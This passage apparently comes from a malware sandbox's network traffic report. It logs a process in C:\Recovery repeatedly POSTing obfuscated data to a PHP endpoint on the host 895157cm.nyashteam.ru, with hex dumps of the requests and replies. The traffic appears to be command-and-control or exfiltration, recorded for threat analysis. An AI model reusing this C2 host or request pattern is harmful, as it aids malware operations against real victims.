33 5a 25 06 24 10 3c 56 3f 30 22 0a 3c 59 2d 18 3f 5c 21 51 29 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989Z3)*?+<!R+,"=_333/.?U=Z+3?$+=.X'6#X)8!R-;%]#(.5&>R!T/2#/_?_272.S"Y)9Y&)W$=!5 W";<3Z%$<V?0"<Y-?\!Q)+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:03.152292967 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:03.509887934 CET	2292	OUT	Data Raw: 59 5a 46 5f 5a 57 55 58 54 5d 59 5a 55 59 57 54 56 5d 5c 5d 52 57 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZF_ZWUXT]YZUYWTV]\]RW[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\">=1?<A<<[%&=:(*?0<(7#(S1'[$.Y!'
Dec 21, 2024 11:08:04.236989021 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:04.469444990 CET	815	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2BXS3Q5hxQrVX5jb%2B2%2Bh3W3HdT8bZAJSFvlBQXMmB%2FXnKAFlfa0w3ZqR%2FWghR3RlNBqKEFZSOx%2BLXXt3aFA7SFUHWUPiHdms51VXAo5xjN3LES0maX1Q0o%2BVarjsBHQSNU1hL4UJmlY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711997b9343a9-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3624&min_rtt=1645&rtt_var=4576&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=83519&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:04.705248117 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:05.056566954 CET	2292	OUT	Data Raw: 59 53 43 59 5a 5d 50 59 54 5d 59 5a 55 50 57 55 56 5a 5c 59 52 56 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSCYZ]PYT]YZUPWUVZ\YRV[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!E*>->, ?X'+228>:3Z?!(<T?+Y#80%'[$.Y!
Dec 21, 2024 11:08:05.790811062 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:06.027096033 CET	815	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QGhEA%2Fw%2FgBECKZJ4mXYChmd0VEDXzSSLL9h7YxPCBpGkGSEr762K9aZ7Er7Qlw83bjulOqr1Bsbo%2BxZL36FNdqeA5v%2B3TM5Q0%2FUtqJp5%2FnglorMQPREfCXsZ8Z1r3xBRaSViuZD%2FWgs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711a32ed44210-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4792&min_rtt=1746&rtt_var=6747&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=55900&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49771	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:06.268193007 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:06.619083881 CET	2292	OUT	Data Raw: 5c 58 43 5d 5a 57 55 5e 54 5d 59 5a 55 59 57 54 56 5a 5c 5b 52 52 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XC]ZWU^T]YZUYWTVZ\[RR[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A+=5< V?3<<$8.+*Z(9(V +(!(U%'[$.Y!'
Dec 21, 2024 11:08:07.351936102 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:07.600083113 CET	808	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yaHBlGJyDjEyYkM1jwdclZR9Ln%2F42yryGF00zqcfkYEamZ0GOlEEecxf0NJCQFQJJwCq5IYNjx4hoaRxwOHZGccT77Wr74ht0p7%2F97nnXT4cMgxKXc1lGiHN2j26sVL3eC%2BxuEVazHQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711acfe8c4390-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2811&min_rtt=1564&rtt_var=3082&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=126450&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49778	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:07.842313051 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:08.197190046 CET	2292	OUT	Data Raw: 59 5e 43 53 5a 59 55 5e 54 5d 59 5a 55 5c 57 52 56 5b 5c 5d 52 5f 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y^CSZYU^T]YZU\WRV[\]R_[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!>>.]><?>8+>2:)'+.(+<#(&='[$.Y!3
Dec 21, 2024 11:08:08.930936098 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:09.166297913 CET	812	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N47TOgk%2FuD%2B%2F4qwNNOk6AV4AwFV5xW%2BMw6f1mA0eJlno9Z6wnQzRL3nJ7CS4OR174KOBwB8KwYDg403wS0zaZygPB%2BbGKVVZSu9s94lEPyCl232siVquLvpDX7ssJkpSFMsxH2D4OMc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711b6cbf941fb-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=7450&min_rtt=2163&rtt_var=11386&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=32837&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49779	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:09.303219080 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:09.650373936 CET	1732	OUT	Data Raw: 59 5d 46 5b 5a 59 50 59 54 5d 59 5a 55 50 57 50 56 58 5c 58 52 52 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]F[ZYPYT]YZUPWPVX\XRR[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!D>&?<8>.?(?"%;%>93[?!U(V,Q(;(\! '='[$.Y!
Dec 21, 2024 11:08:10.388361931 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:10.635510921 CET	958	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b27RZutgW6dZ7x%2BY5SSKyz0HycRDT6dGllxzbZ%2FgYKzGvp%2BX%2BB1now4CkbJqa3nFJVc9C3utpuD5eha0xEVYwS5y2GGMvjMcVejyGn0H3Yi1L10nS73GNJOcB2Z0E7t33Nn9VpRXl5c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711bfe9f20f91-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4335&min_rtt=1741&rtt_var=5841&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=64903&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 3a 02 27 38 36 58 29 3a 33 13 29 2f 31 56 2a 3c 36 58 3b 32 0b 16 24 0d 34 11 3b 2f 25 55 2b 0d 0c 03 2a 3d 02 55 3f 27 23 5b 2a 28 2e 58 03 11 24 12 35 03 2f 5e 3f 38 36 0f 3a 38 2a 03 23 2e 23 5e 2c 28 03 51 26 3e 36 53 21 03 3b 54 38 31 28 56 38 07 0d 1b 31 09 2c 0f 25 2e 2e 53 0c 16 21 05 3d 03 39 10 27 3c 25 1e 24 51 2a 11 35 25 3c 1a 21 28 0e 52 30 2c 22 1d 30 3d 30 55 28 30 25 1c 28 11 29 19 3f 2a 36 0b 3f 11 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:'86X):3)/1V<6X;2$4;/%U+=U?'#[(.X$5/^?86:8#.#^,(Q&>6S!;T81(V81,%..S!=9'<%$Q5%<!(R0,"0=0U(0%()?6?&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49780	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:09.408493042 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:09.759721994 CET	2292	OUT	Data Raw: 59 5d 46 58 5f 59 50 58 54 5d 59 5a 55 51 57 5f 56 5e 5c 5f 52 53 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]FX_YPXT]YZUQW_V^\_RS[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"+-!?<<R>>;<)Z$;=+);X?>9+0*(858+'-'[$.Y!
Dec 21, 2024 11:08:10.493931055 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:10.730770111 CET	815	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KStpFKmVnetAHEOUDZ0T44PuFRfYMAg%2BrNE6b4mauZFObE7wGlYK4r%2Bh7v%2Fndk%2Bg%2BRxmru4sApeJbeEKUvO0FjrwgiJwmXzKKShdvZEooWxb5B%2FH%2FeMbTLCQ1tnTmvQrbj0wcrOcPh8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711c09aa9236b-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=5083&min_rtt=1994&rtt_var=6927&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=54657&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49786	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:10.977796078 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:11.322498083 CET	2292	OUT	Data Raw: 5c 59 43 5f 5f 5d 55 59 54 5d 59 5a 55 5f 57 51 56 5f 5c 55 52 57 5b 5c 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \YC__]UYT]YZU_WQV_\URW[\YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")"?/8T?.;A+Z!Y$(=:+="(+((Y"%'[$.Y!
Dec 21, 2024 11:08:12.067260027 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:12.308734894 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctW9%2F9jqnJFGC3WzF2AlM31S8xeafNpBEuiL%2BdXDgtPgGjFZAiWFpVuYAyUJYqHv9TkW929DLb%2FQaNAWJDDwalVZEVbJgLI5KLlE8nClhH058h8uFw4KEEuW3hhKcfy5Ly9hQpUqqXQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711ca68058c60-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3771&min_rtt=2053&rtt_var=4207&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=92387&cwnd=53&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49792	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:12.547235966 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:12.900360107 CET	2292	OUT	Data Raw: 5c 59 46 5c 5a 57 50 52 54 5d 59 5a 55 50 57 52 56 59 5c 55 52 52 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \YF\ZWPRT]YZUPWRVY\URR[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!B>*Y?<T?$)?!2+:?:?3 ((!#2'[$.Y!
Dec 21, 2024 11:08:13.632939100 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:13.871882915 CET	814	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3bW2crapVexQhSa9xLnE6pHakRVVS7I5%2FcHqtq990JCpIS%2B%2FsiawDHqd07xweOMIZ7ndN5FBHKsk3TM3agQVRB3BwcbJR2SXUh%2FZzLd5Maocz9H7u%2B9q4KmECuYu50ppQ8pDJq%2F0TNk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711d439ff4233-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6986&min_rtt=1725&rtt_var=11170&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=33320&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49793	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:14.109080076 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:14.465385914 CET	2292	OUT	Data Raw: 5c 5f 43 5c 5a 59 55 5d 54 5d 59 5a 55 5b 57 5e 56 50 5c 59 52 54 5b 5a 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \_C\ZYU]T]YZU[W^VP\YRT[ZYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A==&^?<??(<1Q)Z(>"( ??7#(;S%'[$.Y!/
Dec 21, 2024 11:08:15.195396900 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:15.433443069 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NnWDNheji0R9qh9w4HGk9E0s6FKRDayqw4vIJUfciI1HutYskNCuZExyEWeQiMSU3EL%2BwKd880GUOEMzIaj5bIKu35XnPEnv39JmsGAEbWTpDzL8AZPoDJvkwjBW%2BsOQQCRyjVz2fko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711ddf91dde98-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6680&min_rtt=1463&rtt_var=10983&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=33793&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49800	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:15.771513939 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:16.119194031 CET	1732	OUT	Data Raw: 59 52 43 58 5f 5e 50 5a 54 5d 59 5a 55 59 57 52 56 5f 5c 5c 52 57 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRCX_^PZT]YZUYWRV_\\RW[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!E=)(Z,V<+Y2)W)*+>1Q( $P(+<#8<%='[$.Y!'
Dec 21, 2024 11:08:16.857186079 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:17.089572906 CET	952	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UwYKE6G0Ac8j89E8GD0Yf3lxetixPyqousYVDaVZo6dvbqai1oOAGgHOOpWkusYFQL5PhiDxybH0xRAGMEpT43eQujP6wzaOwmR8rVSVyA09EZt53wKN%2FZfljM9As5iTmPkPiNiiERw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711e85bd178db-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4628&min_rtt=2017&rtt_var=5979&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=63735&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 3a 01 30 05 39 02 29 2a 24 06 28 3c 3e 0b 28 02 08 5c 2f 0c 2d 5f 24 23 34 12 3b 3c 22 08 2b 23 2d 59 3c 13 27 0e 3f 51 37 12 3e 38 2e 58 03 11 24 59 22 29 2b 5f 29 38 08 0d 2d 38 25 15 23 03 24 06 3a 16 31 1d 25 00 